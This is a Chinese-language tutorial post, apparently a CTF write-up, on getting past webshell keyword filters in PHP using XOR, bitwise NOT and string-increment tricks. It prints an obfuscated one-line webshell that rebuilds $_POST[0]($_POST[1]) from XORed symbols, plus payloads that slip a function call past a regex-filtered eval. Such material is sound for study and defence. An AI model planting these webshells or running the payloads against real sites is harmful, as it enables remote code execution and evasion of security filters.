Webshell的过滤绕过

目录

Webshell的过滤绕过

1.异或操作绕过

2.取反操作绕过

3.PHP语法绕过


的过滤绕过

1.异或操作绕过

先来看一段代码

javascript 复制代码
<?php
    echo "A"^"`";//结果为"!"
?>

为什么会输出"!"

之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是0110 0000

在php中,异或操作是两个二进制数相同时,异或为0,不同为1

简单来说就是 有且仅有一个为true,就返回true

异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是"!"了

再来看下面这段代码,很典型的异或操作绕过

PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

javascript 复制代码
<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

这道题需要我们执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤

这道题就可以用异或操作来绕过

javascript 复制代码
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
javascript 复制代码
<?php
function getFlag(){
    echo "{bypass successfully!}";
}
?>

payload如下

?code=_="\`{{{"\^"?\<\>/";{$}[]();&_=getFlag

"`{{{"^"?<>/"的结果是"GET",所以{}[]()=$GET[](),而此时=getFlag

所以直接就执行了getFlag(),拿到flag

2.取反操作绕过

先来看一段代码

javascript 复制代码
<?php
$a = "getFlag";
echo urlencode(~$a);
?>

可以见得这个取反~是可以帮助我们绕过的

那上面那道题也就可以使用这种解法

payload

?code=_=\~%98%9A%8B%B9%93%9E%98;_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

3.PHP语法绕过

依然先来看一段代码

javascript 复制代码
<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

javascript 复制代码
<?php
echo ''.[];
?>
相关推荐
水冗水孚2 小时前
React中使用map+area标签实现img图片特定区域标记功能(可用Photoshop精准拾取对应点位)
react.js·html·photoshop
前端 贾公子6 小时前
《Vuejs设计与实现》第 18 章(同构渲染)(下)
前端·javascript·html
Never_Satisfied7 小时前
在JavaScript / HTML中,词内断行
开发语言·javascript·html
whltaoin17 小时前
中秋赏月互动页面:用前端技术演绎传统节日之美
前端·javascript·html·css3·中秋主题前端
qq_402605651 天前
python爬虫(一) ---- 静态html数据抓取
爬虫·python·html
Never_Satisfied1 天前
在JavaScript / HTML中,转移字符导致js生成的html出错
开发语言·javascript·html
祈祷苍天赐我java之术2 天前
Redis 有序集合解析
java·前端·windows·redis·缓存·bootstrap·html
心.c2 天前
一套完整的前端“白屏”问题分析与解决方案(性能优化)
前端·javascript·性能优化·html
小红帽6152 天前
使用burp工具的intruder模块进行密码爆破
网络·安全·html
IT利刃出鞘3 天前
HTML--在textarea左侧添加行号
html